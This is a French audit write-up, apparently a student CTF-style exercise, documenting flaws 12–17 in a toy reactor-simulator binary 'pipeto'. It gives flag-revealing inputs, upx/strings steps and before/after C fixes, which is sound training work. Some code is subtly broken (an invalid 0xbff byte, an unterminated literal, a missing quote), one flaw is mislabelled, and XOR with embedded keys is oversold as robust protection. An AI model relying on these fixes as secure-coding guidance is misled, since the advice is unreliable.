Nous avons découvert cette faille lors de l’audit en **White Box**.

Démonstration :

Nous exécutons la commande "**turbine_temperature**" :

```
pipeto> turbine_temperature  
Enter the number of degrees you want to increase or decrease the turbine temperature :
```

Cette commande nous demande d'entrer un nombre pour augmenter ou diminuer la température de la turbine. On rentre un chiffre aléatoire pour regarder le comportement de la commande :

```
pipeto> turbine_temperature  
Enter the number of degrees you want to increase or decrease the turbine temperature : 3  
Turbine temperature is 20 degrees.  
Turbine temperature is increasing : 23
```

N'ayant pas accès aux fonctions de la librairie "**libpepito.so**" directement même en possession du code source, nous avons utilisé les commandes bash ci-dessous afin de chercher des indices :

```
→ binary objdump -d libpepito.so | less
```

Nous nous arrêtons sur la fonction qui nous intéresse afin de l'analyser :

```
0000000000001597 <turbine_temperature>:
```

Nous trouvons ceci :

```
160b: 81 7d fc fe ff ff 7f    cmpl   $0x7fffffff,-0x4(%rbp)  
1612: 74 09                   je     161d <turbine_temperature+0x86>  
1614: 81 7d fc 01 00 00 80    cmpl   $0x80000001,-0x4(%rbp)  
161b: 75 22                   jne    163f <turbine_temperature+0xa8>
```

Nous pouvons observer grâce à l'instruction assembleur "**cmpl**" que le résultat est comparé entre les 2 constantes "**0x7FFFFFFE**" et "**0x80000001**".

En regardant sur internet, nous trouvons leurs valeurs en décimal :

"**0x7FFFFFFE = 2147483646**", soit la valeur maximale d'un "**int**" moins un ($2147483647 - 1$).

"**0x80000001 = -2147483647**", soit la valeur minimale d'un "**int**" plus un ($-2147483648 + 1$).

Nous testons donc ces valeurs dans la commande "**turbine_temperature**" :

```
pipeto> turbine_temperature
Enter the number of degrees you want to increase or decrease the turbine temperature : 2147483646
Turbine temperature is too unstable.
{ERR0R TURBINE WILL EXPLODE}

pipeto> turbine_temperature
Enter the number of degrees you want to increase or decrease the turbine temperature : -2147483647
Turbine temperature is too unstable.
{ERR0R TURBINE WILL EXPLODE}
```

Nous trouvons ce flag :

{ERR0R TURBINE WILL EXPLODE}

Résumé des commandes à exécuter afin de trouver le flag caché :

```
[./pipeto]
[help]
[turbine_temperature]
[2147483646 ou -2147483647]
```

Correction de “turbine_temperature” :

Avant la correction :

```
void turbine_temperature(void)
{
    size_t sVar1;
    long long lVar2;
    char local_98 [140];
    int local_c;

    printf("Enter the number of degrees you want to increase or decrease the turbine temperature : ");
    fgets(local_98,0x80,stdin);
    sVar1 = strcspn(local_98,"\\n");
    local_98[sVar1] = '\\0';
    lVar2 = strtoll(local_98,(char **)0x0,10);
    local_c = (int)lVar2;
    if ((local_c != 0x7fffffff) && (local_c != -0x7fffffff)) {
        printf("Turbine temperature is %d degrees.\n",0x14);
        if (local_c < 0) {
            printf("Turbine temperature is decreasing : %d\n",(int)(local_c + 0x14));
        }
        else if (0 < local_c) {
            printf("Turbine temperature is increasing : %d\n",(int)(local_c + 0x14));
        }
        return;
    }
    puts("Turbine temperature is too unstable.");
    puts("{ERROR TURBINE WILL EXPLODE}");
    /* WARNING: Subroutine does not return */
    exit(1);
}
```

Après la correction :

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xe8, 0x2f, 0x99, 0xbff, 0xca, 0xc0, 0x39,
        0xd0, 0x44, 0xa3, 0x66, 0xe8, 0x90, 0xea, 0xe2, 0xe6, 0x7b, 0xa6,
        0x70, 0xae, 0xd1, 0x87, 0xbc, 0xe7, 0xfc, 0xb2, 0xba, 0x93};
    unsigned char keys[] = {0x93, 0x6a, 0xcb, 0xed, 0xfa, 0x92, 0x19, 0x84,
        0x11, 0xf1, 0x24, 0xa1, 0xde, 0xaf, 0xc2, 0xb1, 0x32, 0xea, 0x3c, 0x8e,
        0x94, 0xdf, 0xec, 0xab, 0xb3, 0xf6, 0xff, 0xee};
    char decrypted[28];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[27] = '\0';
    printf("%s\n", decrypted);
}

static int add_temperature_saturate(int base_temp, int temp_delta)
{
    if (temp_delta > 0 && base_temp > INT_MAX - temp_delta)
        return INT_MAX;
    if (temp_delta < 0 && base_temp < INT_MIN - temp_delta)
        return INT_MIN;
    return base_temp + temp_delta;
}

static int get_temperature_delta(void)
{
    char input[140];
    size_t newline_pos;
    long long temp_delta_ll;

    printf("Enter the number of degrees to increase or decrease the turbine
        "temperature: ");
    if (fgets(input, sizeof(input), stdin) == NULL) {
        printf("Error: No input provided.\n");
        return 0;
    }
    newline_pos = strcspn(input, "\n");
    input[newline_pos] = '\0';
    temp_delta_ll = strtoll(input, NULL, 10);
    return (int)temp_delta_ll;
}

static void display_temperature_change(int temp_delta, int new_temp)
{
    printf("Turbine base temperature is %d degrees.\n", 20);
    if (temp_delta < 0)
        printf("Turbine temperature is decreasing: %d\n", new_temp);
    else if (temp_delta > 0)
        printf("Turbine temperature is increasing: %d\n", new_temp);
}

void turbine_temperature(void)
{
    const int base_temp = 20;
    int temp_delta;
    int new_temp;

    temp_delta = get_temperature_delta();
    new_temp = add_temperature_saturate(base_temp, temp_delta);
    display_temperature_change(temp_delta, new_temp);
    return;
    puts("Turbine temperature is too unstable.");
    encrypted_flag();
    exit(1);
}
```

Pour corriger cette faille, nous avons sécurisé le traitement de la température en supprimant les vérifications arbitraires sur des valeurs spécifiques, qui pouvaient être contournées pour déclencher volontairement l'affichage du flag. À la place, nous avons intégré une vérification correcte des débordements et sous-dépassements lors de l'ajustement de la température, en utilisant une saturation basée sur les limites de type **int (INT_MAX et INT_MIN)**. Ainsi, il n'est plus possible de provoquer un comportement anormal en entrant des valeurs extrêmes. De plus, le flag n'est plus présent en clair dans le binaire, il est désormais stocké de manière chiffrée avec un simple XOR, ce qui le rend indétectable via des outils classiques comme strings, et n'est déchiffré qu'à l'exécution en cas d'erreur critique simulée.

Le fichier .patch de cette fonction est le suivant :
“patch/turbine_temperature.patch”.

Nous n'avons pas fait de tests unitaires pour cette faille.

Faille 12, Décompresser le binaire + strings :

Cette vulnérabilité est considérée comme de faible à moyenne criticité, car elle repose sur une simple décompression et analyse statique du binaire. Néanmoins, elle révèle un manque de protection basique contre la divulgation d'informations sensibles, ce qui peut faciliter la compréhension du fonctionnement interne du programme et l'élaboration d'attaques plus avancées.

Cette faille est une “**Obfuscation Bypass via Binary Decompression**”. Le fichier binaire “**pipeto**” était compressé avec l’outil **UPX** afin de masquer son contenu. En le décompressant avec la commande **upx -d**, puis en utilisant strings, il est possible d’extraire des chaînes de caractères sensibles, dont des flags et des mots de passe.

Cette faille ne se trouve dans aucun fichier particulier, elle est simplement due au hardcoding de mots de passe et des flags dans le code.

Nous avons découvert cette faille lors de l’audit en **Black Box**.

Démonstration :

Nous utilisons la commande bash “**upx -d**” qui sert à décompresser des fichiers :

```
→ binary upx -d pipeto
          Ultimate Packer for eXecutables
          Copyright (C) 1996 - 2024
UPX 4.2.2      Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

  File size       Ratio     Format      Name
-----
  39395 <-     12668   32.16%  linux/amd64  pipeto

Unpacked 1_file.
```

Nous remarquons que le fichier binaire “**pipeto**” était bel et bien compressé afin de cacher des informations.

Maintenant nous exécutons la commande bash “**strings**” sur le binaire :

```
→ binary strings pipeto
```

Nous trouvons ces flags :

```
{Sensitive Data}
{The secret stone is here !}
{SECRET_LOG_12PIERRE34}
{SECRET DIAGNOSTIC KEY}
{MELTDOWN1234}
mdp "admin123" = {Emergency protocols activated, you are now admin
!}
{The stone isn't in the pocket anymore ...}
{12EXPLOSION34}
{ADMIN4242}
mdp "ThisIsTheBestPassword" = {Correct password! Welcome, admin.},
{SHUTDOWN}
```

Résumé des commandes à exécuter afin de trouver les flags :

```
[upx -d pipeto]
[strings pipeto]
```

Correction de “Décompresser le binaire + strings” :

Avant la correction :

```
→ Pipeto upx -d pipeto
                                Ultimate Packer for eXecutables
                                Copyright (C) 1996 - 2024
UPX 4.2.2          Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

      File size        Ratio        Format        Name
-----+-----+-----+-----+
      38787 <-     12720   32.79%    linux/amd64  pipeto

Unpacked 1 file.

__gmon_start__
PTE1
PressureH
{SensitiH
ve Data}H
<@~i
<`~f
{The secH
ret stonH
stone isH
here !}H
{SECRET_H
LOG_12PIH
ERRE34}
{SECRET_H
DIAGNOSTH
IC KEY}
Reactor H
Stable
{MELTDOWH
N1234}
Reactor H
OverheatH
Reactor H
Warning
Reactor H
Stable
Reactor H
Normal
Enter emergency password:
No password entered, emergency protocols not activated.
admin123
{Emergency protocols activated, you are now admin !}
```

Après la correction :

```
→ Pipeto_src git:(main) upx -d pipeto
          Ultimate Packer for eXecutables
          Copyright (C) 1996 - 2024
UPX 4.2.2      Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

      File size        Ratio       Format       Name
-----  -----  -----  -----
 40103 <-     15528   38.72%  linux/amd64  pipeto

Unpacked 1 file.

PTE1
"P?>H
PressureH
<@~i
<`~f
Reactor H
Warning
Reactor H
  Stable
Reactor H
  Normal
Reactor H
  Stable
Reactor H
OverheatH
B-OH
O(g-\
Data/remH

Enter emergency password:
No password entered, emergency protocols not activated.
Cooling pressure status: %s
Simulating sensor reading...
Sensor reading complete.
```

Pour corriger cette faille, nous avons mis en place une solution robuste en chiffrant tous les flags présents dans le code. L'objectif est d'empêcher un utilisateur de les récupérer simplement à l'aide de la commande strings après avoir décompressé le binaire. Cette méthode permet de dissimuler efficacement les informations sensibles et de renforcer la sécurité de l'exécutable.

Nous n'avons pas fait de tests unitaires pour cette faille.

Faille 13, run_diagnostic :

Bien que cette vulnérabilité ne permette pas une exécution de code, elle reste préoccupante car elle expose des informations potentiellement sensibles à un utilisateur non authentifié. Son impact dépend du type de données révélées, mais elle constitue une faiblesse notable dans la gestion des accès.

Cette faille est une **Information Disclosure**, c'est-à-dire qu'une information sensible est révélée sans contrôle d'accès. Il suffit d'exécuter la commande “**run_diagnostic**” et de passer en mode **debug** pour que le programme assigne directement une donnée confidentielle à un pointeur, laquelle est ensuite affichée, sans aucune vérification d'authentification ni restriction d'accès.

Cette faille se trouve dans le fichier “**src/commands/run_diagnostic.c**”, au niveau de la fonction suivante : “**run_diagnostic**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

La commande “**run_diagnostic**” possède 3 modes de diagnostics, “normal”, “debug” et “advanced”. On rentre simplement le mode “**debug**” comme ceci :

```
pipeto> run_diagnostic
Enter diagnostic mode (normal/debug/advanced): debug
Running diagnostic...
Diagnostic result: {SECRET DIAGNOSTIC KEY}
Performing system health check...
System health: OK
Diagnostic complete.
```

Nous trouvons ce flag :

{SECRET DIAGNOSTIC KEY}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[run_diagnostic]
[debug]
```

Correction de “run_diagnostic” :

Avant la correction :

```
void run_diagnostic()
{
    int *data = NULL;
    char input[32];
    char sensitive_info[64] = "{SECRET DIAGNOSTIC KEY}";
    int diagnostic_code = 0;

    printf("Enter diagnostic mode (normal/debug/advanced): ");
    fgets(input, sizeof(input), stdin);
    input[strcspn(input, "\n")] = '\0';

    if (strcmp(input, "debug") == 0) {
        data = (int *)sensitive_info;
    } else if (strcmp(input, "advanced") == 0) {
        diagnostic_code = rand() % 1000;
        data = &diagnostic_code;
    }

    printf("Running diagnostic...\n");
    sleep(1);

    if (data == NULL) {
        printf("Error: Diagnostic data is unavailable (NULL pointer).\n");
    } else if (data == (int *)sensitive_info) {
        printf("Diagnostic result: %s\n", (char *)data);
    } else {
        printf("Diagnostic result: Code %d\n", *data);
    }

    printf("Performing system health check...\n");
    sleep(1);
    printf("System health: OK\n");

    printf("Diagnostic complete.\n");
}
```

Après la correction :

```
void normal_diagnostic(int *data, char sensitive_info[])
{
    printf("Running diagnostic...\n");
    sleep(1);
    if (data == NULL)
        printf("Error: Diagnostic data is unavailable (NULL pointer).\n");
    else if (data == (int *)sensitive_info)
        printf("Diagnostic result: %s\n", (char *)data);
    else
        printf("Diagnostic result: Code %d\n", *data);
    printf("Performing system health check...\n");
    sleep(1);
    printf("System health: OK\n");
    printf("Diagnostic complete.\n");
}

static void encrypted_flag(char sensitive_info[])
{
    unsigned char enc_flag[] = {0xec, 0x35, 0x82, 0xee, 0x38, 0xde, 0xad,
        0xfd, 0x55, 0xb7, 0xa9, 0xe8, 0x04, 0x91, 0xa1, 0x39, 0xd2, 0x39,
        0xe2, 0x8f, 0xd5, 0x70, 0xce};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
        0x11, 0xfe, 0xe8, 0xaf, 0x4a, 0xde, 0xf2, 0x6d,
        0x9b, 0x7a, 0xc2, 0xc4, 0x90, 0x29, 0xb3};

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        sensitive_info[i] = enc_flag[i] ^ keys[i];
    sensitive_info[sizeof(enc_flag)] = '\0';
}

void run_diagnostic(void)
{
    int *data = NULL;
    char input[32];
    char sensitive_info[64];
    int diagnostic_code = 0;

    encrypted_flag(sensitive_info);
    printf("Enter diagnostic mode (normal/debug/advanced): ");
    fgets(input, sizeof(input), stdin);
    input[strcspn(input, "\n")] = '\0';
    if (strcmp(input, "debug") == 0 && IS_ADMIN)
        data = (int *)sensitive_info;
    else if (strcmp(input, "advanced") == 0) {
        diagnostic_code = rand() % 1000;
        data = &diagnostic_code;
    }
    normal_diagnostic(data, sensitive_info);
}
```

Pour corriger cette faille, nous avons opté pour une solution simple et efficace. Nous avons modifié la condition d'accès au mode debug du diagnostic. Au lieu de simplement vérifier si l'utilisateur a saisi "**debug**" en paramètre, nous ajoutons une vérification supplémentaire pour s'assurer qu'il possède les droits administrateur : "**if (strcmp(input, "debug") == 0 && IS_ADMIN)**". Par ailleurs, nous avons chiffré le flag : "**{SECRET DIAGNOSTIC KEY}**" afin qu'il ne puisse pas être récupéré facilement à l'aide d'outils comme strings.

Le fichier .patch de cette fonction est le suivant :

"patch/run_diagnostic.patch".

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 94% en lignes et 83% en branches.

Faille 14, load_fuel_rods :

Cette vulnérabilité est de sévérité faible voir moyenne, elle ne permet pas de contrôle direct sur le système, mais peut néanmoins entraîner une fuite d'informations sensibles dans certaines conditions. Son exploitation repose sur un comportement inattendu du programme, révélant un manque de robustesse dans la gestion des cas particuliers.

Cette faille est une **Information Disclosure** causée par une erreur de logique dans la commande “**load_fuel_rods**”. Lorsque l'utilisateur entre les valeurs 10, 0 ou un nombre négatif, le programme ne retourne pas correctement et exécute une vérification inutile sur la string secrète, aboutissant à l'affichage du flag si la comparaison échoue.

Cette faille se trouve dans le fichier “**src/commands/load_fuel_rods.c**”, au niveau de la fonction suivante : “**load_fuel_rods**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

La commande “**load_fuel_rods**” nous propose d’entrer un nombre avec 10 comme nombre maximum. Nous entrons donc simplement 10 en paramètre comme ceci :

```
pipeto> load_fuel_rods
Loading fuel rods...
Enter the number of fuel rods to load (max 10): 10

Sensitive Data:
Secret Key: {The secret stone is here !}♦♦|<10
```

Nous trouvons ce flag :

{The secret stone is here !}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[load_fuel_rods]
[10]
```

Correction de “load_fuel_rods” :

Avant la correction :

```
void load_fuel_rods()
{
    int fuel_rods[10];
    int i = 0;
    char input[100];
    char secret_key[28] = "{The secret stone is here !}";

    printf("Loading fuel rods...\n");
    printf("Enter the number of fuel rods to load (max 10): ");
    fgets(input, 100, stdin);
    sscanf(input, "%d", &i);

    if (i > 10) {
        printf("Error: Too many fuel rods!\n");
        return;
    }
    else if (i < 10 && i > 0) {
        for (int j = 0; j < i; j++) {
            fuel_rods[j] = j + 1;
            printf("Fuel rod %d loaded.\n", fuel_rods[j]);
            sleep(1);
        }
        return;
    }
    if (strcmp(secret_key, "{The secret stone is here !})) {
        printf("\nSensitive Data:\n");
        printf("Secret Key: %s\n", secret_key);
    }
}
```

Après la correction :

```
static void print_flag(char secret_key[])
{
    unsigned char enc_flag[] = {0xec, 0x32, 0xaf, 0xc8, 0x4a, 0xe8, 0x9c,
        0xbe, 0x63, 0x90, 0x2c, 0x81, 0x3d, 0xab, 0x5d, 0x0f, 0xfb, 0x4c,
        0xbb, 0xc0, 0x80, 0xe1, 0xc5, 0xb3, 0x76, 0x90, 0x1c, 0xc0};
    int match = 1;

    for (unsigned int i = 0; i < sizeof(enc_flag); i++) {
        if ((secret_key[i] ^ enc_flag[i]) != 0)
            match = 0;
    }
    if (!match) {
        printf("\nSensitive Data:\n");
        printf("Secret Key: %s\n", secret_key);
    }
}

static void print_fuel_rods(int fuel_rods[], int i)
{
    for (int j = 0; j < i; j++) {
        fuel_rods[j] = j + 1;
        printf("Fuel rod %d loaded.\n", fuel_rods[j]);
        sleep(1);
    }
    return;
}

static void encrypted_flag(char secret_key[])
{
    unsigned char enc_flag[] = {0xec, 0x32, 0xaf, 0xc8, 0x4a, 0xe8, 0x9c,
        0xbe, 0x63, 0x90, 0x2c, 0x81, 0x3d, 0xab, 0x5d, 0x0f, 0xfb, 0x4c,
        0xbb, 0xc0, 0x80, 0xe1, 0xc5, 0xb3, 0x76, 0x90, 0x1c, 0xc0};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
        0x11, 0xf5, 0x58, 0xa1, 0x4e, 0xdf, 0x32, 0x61,
        0x9e, 0x6c, 0xd2, 0xb3, 0xa0, 0x89, 0xa0, 0xc1,
        0x13, 0xb0, 0x3d, 0xbd};

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        secret_key[i] = enc_flag[i] ^ keys[i];
    secret_key[sizeof(enc_flag)] = '\0';
}

void load_fuel_rods(void)
{
    int fuel_rods[10];
    int i = 0;
    char input[100];
    char secret_key[29];

    encrypted_flag(secret_key);
    printf("Loading fuel rods...\n");
    printf("Enter the number of fuel rods to load (max 10): ");
    fgets(input, 100, stdin);
    sscanf(input, "%d", &i);
    if (i > 10) {
        printf("Error: Too many fuel rods!\n");
        return;
    } else if (i <= 10 && i >= INT_MIN) {
        print_fuel_rods(fuel_rods, i);
        return;
    }
    print_flag(secret_key);
}
```

Pour corriger cette faille, nous avons opté pour une solution simple et efficace. Nous avons modifié la condition de chargement des barres de combustible comme suit : “**} else if (i <= 10 && i >= INT_MIN) {**”, afin d’empêcher l’utilisateur de saisir des valeurs telles que 10, 0 ou encore un nombre négatif pour obtenir la clé secrète. Par ailleurs, nous avons chiffré le flag “**{The secret stone is here !}**” afin qu’il ne puisse pas être récupéré facilement à l’aide d’outils comme strings.

Le fichier .patch de cette fonction est le suivant :

“patch/load_fuel_rod.patch”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 67% en lignes et 42% en branches.

Faillle 15, check_cooling_pressure :

Bien que cette vulnérabilité ne mène pas ici à une exécution de code arbitraire, elle reste significative car elle permet un accès non autorisé à des données sensibles. Son impact dépend fortement du contexte d'exploitation, mais elle révèle une faille de validation des entrées et peut constituer un point d'entrée pour des attaques plus avancées si d'autres conditions sont réunies.

Cette faille est une “**Format String Attack**”, c'est-à-dire que l'entrée utilisateur est directement interprétée comme une chaîne de format sans être correctement filtrée ou encadrée. Dans ce cas, il suffit d'exécuter la commande “**check_cooling_pressure**” pour exploiter ce comportement et révéler le flag caché.

Cette faille se trouve dans le fichier “**src/commands/check_cooling_pressure.c**”, au niveau de la fonction suivante : “**check_cooling_pressure**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous exécutons simplement la commande “**check_cooling_pressure**” :

```
pipeto> check_cooling_pressure
Cooling pressure check in progress...
Simulating sensor reading...
Sensor reading complete.
Checking cooling pressure...
Cooling pressure status: Pressure OK
Sensitive Info: {Sensitive Data}
Temporary buffer: Temporary data: 83
Simulating sensor reading...
Sensor reading complete.
Cooling pressure check complete.
```

Nous trouvons ce flag :

{Sensitive Data}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[check_cooling_pressure]
```

Correction de “check_cooling_pressure” :

Avant la correction :

```
static void load_data(char *data)
{
    strcpy(data, "Pressure OK");
}

static void log_pressure_status(const char *status)
{
    printf("Cooling pressure status: %s\n", status);
}

static void simulate_sensor_reading()
{
    printf("Simulating sensor reading...\n");
    sleep(1);
    printf("Sensor reading complete.\n");
}

void check_cooling_pressure()
{
    char *data = (char *)malloc(16);
    char sensitive_info[32] = "{Sensitive Data}";

    load_data(data);
    printf("Cooling pressure check in progress...\n");
    sleep(2);
    simulate_sensor_reading();
    printf("Checking cooling pressure...\n");
    sleep(1);
    log_pressure_status(data);
    free(data);
    sleep(3);
    if (strcmp(data, "Pressure OK")) {
        printf("Sensitive Info: %s\n", sensitive_info);
    }
    char temp_buffer[32];
    snprintf(temp_buffer, sizeof(temp_buffer), "Temporary data: %d", rand() % 100);
    printf("Temporary buffer: %s\n", temp_buffer);
    simulate_sensor_reading();
    printf("Cooling pressure check complete.\n");
}
```

Après la correction :

```
static void load_data(char *data)
{
    strcpy(data, "Pressure OK");
}

static void log_pressure_status(const char *status)
{
    printf("Cooling pressure status: %s\n", status);
}

static void simulate_sensor_reading(void)
{
    printf("Simulating sensor reading...\n");
    sleep(1);
    printf("Sensor reading complete.\n");
}

static void encrypted_flag(char sensitive_info[])
{
    unsigned char enc_flag[] = {0xec, 0x35, 0xa2, 0xc3, 0x19, 0xf2, 0x8d,
        0xb4, 0x67, 0x90, 0x78, 0xe5, 0x2f, 0xab, 0x53, 0x1c};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
        0x11, 0xf5, 0x58, 0xa1, 0x4e, 0xdf, 0x32, 0x61};

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        sensitive_info[i] = enc_flag[i] ^ keys[i];
    sensitive_info[sizeof(enc_flag)] = '\0';
}

void check_cooling_pressure(void)
{
    char *data = (char *)malloc(16);
    char t_buffer[32];
    char sensitive_info[32];

    encrypted_flag(sensitive_info);
    load_data(data);
    printf("Cooling pressure check in progress...\n");
    sleep(2);
    simulate_sensor_reading();
    printf("Checking cooling pressure...\n");
    sleep(1);
    log_pressure_status(data);
    sleep(3);
    if (strcmp(data, "Pressure OK"))
        printf("Sensitive Info: %s\n", sensitive_info);
    free(data);
    snprintf(t_buffer, sizeof(t_buffer), "Temporary data: %d", rand() % 100);
    printf("Temporary buffer: %s\n", t_buffer);
    simulate_sensor_reading();
    printf("Cooling pressure check complete.\n");
}
```

Pour corriger cette faille, nous avons opté pour une solution simple et efficace. Nous avons d'abord modifié l'emplacement de l'appel à **free(data)** afin que la mémoire soit libérée au bon moment, ce qui empêche la fuite d'informations sensibles. Par ailleurs, nous avons chiffré le flag : “**{Sensitive Data}**” afin qu'il ne puisse pas être récupéré facilement à l'aide d'outils comme **strings**.

Le fichier .patch de cette fonction est le suivant :
“**patch/check_cooling_pressure.patch**”.

Nous avons fait des tests unitaires pour cette faille. Le **Coverage** est de : 97% en lignes et 75% en branches.

Faillle 16, run_turbine :

Cette vulnérabilité est de faible criticité, elle ne permet pas un contrôle du flux d'exécution ni une compromission du système, mais démontre une faiblesse dans la validation des entrées utilisateur. Elle peut néanmoins exposer des données sensibles en contournant les restrictions fonctionnelles prévues.

Cette faille est une “**Improper Input Validation**”. Le programme attend un entier positif compris entre 0 et 15, mais ne bloque pas la saisie d'un entier négatif. Cela permet de déclencher un comportement inattendu menant à un état d'erreur qui révèle le flag.

Cette faille se trouve dans le fichier “**libpipeto/run_turbine.c**”, au niveau de la fonction suivante : “**run_turbine**”. On la trouve une fois le code source de la librairie récupéré, par exemple avec l'outil “**ghidra**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

La commande “**run_turbine**” nous propose d’entrer un nombre entre 1 et 15 pour lancer la turbine. On vient cette fois-ci entrer un nombre négatif en paramètre comme ceci :

```
pipeto> run_turbine
Enter the number of rotation that the turbine will do (between 0 and 15): -1
Turbine is running... 1/-1
Turbine is running... 2/-1
Turbine is running... 3/-1
Turbine is running... 4/-1
Turbine is running... 5/-1
Turbine is running... 6/-1
Turbine is running... 7/-1
Turbine is running... 8/-1
Turbine is running... 9/-1
Turbine is running... 10/-1
Turbine is running... 11/-1
Turbine is running... 12/-1
Turbine is running... 13/-1
Turbine is running... 14/-1
Turbine is running... 15/-1
Turbine is running... 16/-1
{ERR0R TURB1NE CAN'T ST0P}
Turbine is running... 17/-1
{ERR0R TURB1NE CAN'T ST0P}
Turbine is running... 18/-1
{ERR0R TURB1NE CAN'T ST0P}
Turbine is running... 19/-1
```

Nous trouvons ce flag :

{ERR0R TURB1NE CAN'T ST0P}

Résumé des commandes à exécuter afin de trouver le flag :

```
[./pipeto]
[help]
[run_turbine]
[un nombre négatif]
```

Correction de “run_turbine” :

Avant la correction :

```
void run_turbine(void)
{
    int iVar1;
    size_t sVar2;
    char local_98 [136];
    unsigned int local_10;
    unsigned int local_c;

    local_c = 0;
    printf("Enter the number of rotation that the turbine will do (between 0 and 15): ");
    fgets(local_98,0x80,stdin);
    sVar2 = strcspn(local_98,"\n");
    local_98[sVar2] = '\0';
    local_10 = atoi(local_98);
    if ((local_10 == 0) || ((int)local_10 < 0x10)) {
        for (; local_c != local_10; local_c = local_c + 1) {
            if (0xf < local_c) {
                puts("{ERROR TURBINE CAN'T STOP}");
            }
            printf("Turbine is running... %d/%d\n", (unsigned long)(local_c + 1),(unsigned long)local_10);
            iVar1 = rand();
            sleep(iVar1 % 3 + 1);
        }
        puts("Turbine has stopped.");
    }
    else {
        puts("Invalid number of rotations.");
    }
    return;
}
```

Après la correction :

```
static void encrypted_flag(void)
{
    unsigned char enc_flag[] = {0xec, 0x23, 0x95, 0xff, 0x5a, 0xc9, 0xd9,
        0x89, 0x44, 0xa7, 0x1a, 0x90, 0x00, 0x9a, 0x12, 0x22, 0xea, 0x88,
        0xf8, 0xb9, 0xc9, 0xf6, 0xe6, 0xfd, 0xff, 0x49};
    unsigned char keys[] = {0x97, 0x66, 0xc7, 0xad, 0x6a, 0x9b, 0xf9, 0xdd,
        0x11, 0xf5, 0x58, 0xa1, 0x4e, 0xdf, 0x32, 0x61, 0xab, 0xc6, 0xdf,
        0xed, 0xe9, 0xa5, 0xb2, 0xcd, 0xaf, 0x34, 0x98};
    char decrypted[27];

    for (unsigned int i = 0; i < sizeof(enc_flag); i++)
        decrypted[i] = enc_flag[i] ^ keys[i];
    decrypted[26] = '\0';
    printf("%s\n", decrypted);
}

static int get_rotation_count(void)
{
    char inputBuffer[128];
    size_t newlinePos;

    printf("Enter the number of rotations the turbine will do "
        "(between 0 and 15): ");
    if (fgets(inputBuffer, sizeof(inputBuffer), stdin) == NULL) {
        printf("Error: No input provided.\n");
        return -1;
    }
    newlinePos = strcspn(inputBuffer, "\n");
    inputBuffer[newlinePos] = '\0';
    return atoi(inputBuffer);
}
static void execute_rotation(int current, int total)
{
    int delaySeconds;

    printf("Turbine is running... %d/%d\n", current + 1, total);
    delaySeconds = rand() % 3 + 1;
    sleep(delaySeconds);
}

static void run_rotations(int rotationCount)
{
    int currentRotation;

    for (currentRotation = 0; currentRotation < rotationCount;
        currentRotation++) {
        if (currentRotation > 15) {
            encrypted_flag();
            break;
        }
        execute_rotation(currentRotation, rotationCount);
    }
    puts("Turbine has stopped.");
}

void run_turbine(void)
{
    int rotationCount;

    srand((unsigned)time(NULL));
    rotationCount = get_rotation_count();
    if (rotationCount < 16 && rotationCount > 0)
        run_rotations(rotationCount);
    else
        puts("Invalid number of rotations.");
}
```

Pour corriger la vulnérabilité présente dans l'ancienne version de **run_turbine**, nous avons supprimé la logique défaillante basée sur une condition incohérente (**local_10 == 0 || local_10 < 16**), qui permettait de lancer une boucle avec un nombre arbitraire de rotations, même négatif ou nul. Cette faille pouvait être exploitée pour dépasser artificiellement la limite de sécurité et déclencher l'affichage du flag. Désormais, la saisie utilisateur est correctement contrôlée, seules les valeurs strictement comprises entre 1 et 15 sont autorisées. Par ailleurs, le flag est maintenant chiffré afin d'éviter sa récupération par des outils tels que **strings**.

Le fichier .patch de cette fonction est le suivant : “**patch/run_turbine.patch**”.

Nous n'avons pas fait de tests unitaires pour cette faille.

Faille 17, Strings sur “libpepito.so” :

Cette vulnérabilité est d'une faible criticité, elle ne résulte pas d'un comportement dynamique du programme mais d'une mauvaise gestion des données sensibles à la compilation. Bien qu'elle ne permette pas de prise de contrôle, elle compromet la confidentialité des données et souligne un manque de rigueur dans la gestion des secrets au niveau du build.

Cette faille est une “**Information Disclosure via Static Binary Analysis**”. La librairie “**libpepito.so**” contient des chaînes de caractères sensibles, dont plusieurs flags. En analysant le binaire statiquement avec la commande strings, il est possible d'extraire ces informations sans exécuter le programme ni interagir avec lui.

Cette faille ne se trouve dans aucun fichier particulier, elle est simplement due au hardcoding des flags dans le code de la librairie “**libpepito.so**”.

Nous avons découvert cette faille lors de l'audit en **Black Box**.

Démonstration :

Nous utilisons la commande bash “**strings**” sur la librairie “**libpepito.so**”

```
→ binary strings libpepito.so
```

Nous trouvons ces flags :

```
{ACCESS_GRANTED}  
{ERR0R TURBINE WILL EXPLODE}  
{ERR0R TURB1NE CAN'T ST0P}
```

Résumé de la commande à exécuter afin de trouver les flags :

```
[strings libpepito.so]
```

Correction de “Strings sur “libpepito.so” :

Pour corriger cette faille, nous avons mis en place une solution robuste en chiffrant tous les flags présents dans le code source de la librairie “**libpepito.so**”. L’objectif est d’empêcher un utilisateur de les récupérer simplement à l’aide de la commande strings après avoir décompressé le binaire. Cette méthode permet de dissimuler efficacement les informations sensibles et de renforcer la sécurité de l’exécutable.

